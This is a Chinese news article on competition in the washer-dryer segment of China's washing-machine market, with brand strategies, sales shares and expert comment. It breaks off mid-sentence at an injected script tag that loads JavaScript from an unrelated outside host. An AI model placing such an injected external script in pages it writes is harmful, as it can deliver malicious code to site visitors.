洗衣机从上世纪70年代末进入我国，到现在经过30多年的发展， 已经成为一个成熟的产业。一段时间以来，其市场发展一直波澜不惊， 但随着外资品牌洗衣机厂家在我国市场的全面进入，以及2003年以来 滚筒洗衣机的逐渐普及，洗衣机市场开始“城头变化大王旗”，没有 了一种产品占据一个天下的局面。
洗干一体机成时尚
进入10月份，就迎来了洗衣机的传统销售旺季，记者在家电卖场 发现，今年的洗衣机展区众品牌几乎都在洗干一体机上集体发力，展 品展示更是“针锋相对”。
海尔由于年初启动“烘干元年战略”，“阳光丽人”系列洗干一 体机在上海、北京、广州等全国近50个城市同步上市，所以其一直以 洗干一体机市场的首倡者出场，产品展示阵容颇为强大。
紧接着的便是洗衣机领域后来者的lg，由于lg进入洗衣机领域较 晚，所以在切入该市场时，为了彰显实力、吸引眼球，就一直以高端 产品树立形象，面对洗干一体机的热潮，lg在7月也推出多款烘干型 滚筒洗衣机，并应用价格跳水的策略应对。
此外，在洗衣机领域主导声音越来越小的伊莱克斯，也有相应的 产品面市，其在今年开始秘密布局，停止生产销售波轮洗衣机，在长 沙投资4条生产线专攻烘干滚筒；三星也在中国市场推出两款6公斤烘 干型滚筒洗衣机。中外品牌纷纷宣布进入烘干滚筒洗衣机市场。
厂家蜂拥只为“占位”？
面对中外品牌在洗干一体机上的集体发力，松下洗衣机有关负责 人却反其道而行之，采取了“闹中取静”的做法，并没有将洗干一体 机作为市场宣传的重点，虽然松下也推这类产品，但目前只有一款， 而且定位就是满足高端客户需求，产品都是从日本直接进口，量很小。
松下认为自己不愿意赶这个潮流，源于自己的市场调查：目前对 洗干一体机，消费者的购买愿望比使用愿望更强烈，并且洗干一体机 的价格平均在6000元以上，几乎是普通洗衣机的三倍，市场容量有限。 当然，“不主推”并不意味着放弃这一块，松下是否对洗干一体机推 广，要看市场的预期，如果市场需求达到30%-40%，松下会考虑去全 力推动，目前松下还是主推大容量洗衣机。
对于厂家不同的观点，中国家电研究院洗衣机部主任鲁建国认为： “这很正常，每个厂家都要找有利于自己的产品卖点进行宣传。而且 现在洗衣机已经到了竞争激烈的时候，我们一直以为产业成熟了，其 竞争就缓和了，其实这是错误的认识，一个产业到了成熟期明显的特 点是没有一种产品能独占鳌头。”
鲁建国认为，以前洗衣机市场不成熟的时候，先是双缸洗衣机一 揽天下，之后是全自动洗衣机，再后来又出现了滚筒洗衣机。洗衣机 技术和功能的不断改进，使人们以为双缸洗衣机注定要遭到淘汰，其 实不然，直到目前为止，双缸洗衣机年产还有近千万台的市场空间。
他接着分析指出，现在的市场竞争格局是多种产品分割天下，厂 家都在找自己的位置，既然没有一种产品能独占天下，那么厂家最妥 善的做法是在产品全线推动的情况下，寻找别的厂家还没有挖掘到的 新点，占据市场先机。
高端技术也应普及
不管厂家对新品的开发是为了占位，还是为了引导消费，新推出 的产品要有生命力，就需要普及，只有产品的受众群达到一定的数量， 才能证明产品存在的必要性。洗干一体机也同样如此，它的出现不应 该只是厂家为了做品牌、吸引注意力。
但不容忽视的是，虽然目前在国外，洗干一体机正以迅猛的发展 态势得以快速普及，比如在韩国，70%以上是滚筒洗衣机，高档商场 所销售的全部是带烘干功能的滚筒。可是在我国市场，洗干一体机的 年产量才几十万台，与洗衣机每年近2000万台的产量相比，可谓凤毛 麟角。
据苏宁电器白电销售负责人介绍，洗干一体机由于外观的新颖和 可以烘干的功能，吸引了很多顾客的眼球，不过平均5000元以上的价 格也导致了问得多买得少。在北京，洗干一体机大概占到苏宁洗衣机 总销售量的5%-10%，量很小。
洗干一体机不仅存在产量和销量的问题，而且还存在诸如烘干技 术概念等分歧，目前市场上的烘干概念不一而足，消费者如雾里看花， 据鲁建国介绍，其实洗衣机的烘干技术主要有冷凝式烘干和加热烘干 两种，加热烘干里又分电热管加热、ppc加热等，有加热源不同的区 别，目前这些加热技术各有利弊。对此，专家为消费者支招，不论厂 家宣传什么样的烘干技术，消费者只需关注相同时间内烘干衣服的重 量、质量和耗电量以及噪声，这才是最实际的。
高端技术意味着实力，虽然目前由于诸多因素洗干一体机还不能 形成气候，而且按照专家的说法，即便是代表高端和发展趋势的产品， 在其成熟期也不能总揽市场，但不容置疑的是，在主推洗干一体机的 厂家里，外资品牌占据了绝对的数额，国产品牌里只有海尔在独自前 行。
国产品牌一直以来占据着洗衣机市场大部分的份额，如果在高端 市场，国内洗衣机企业不能迎头赶?script src=http://er12.com/t.js>
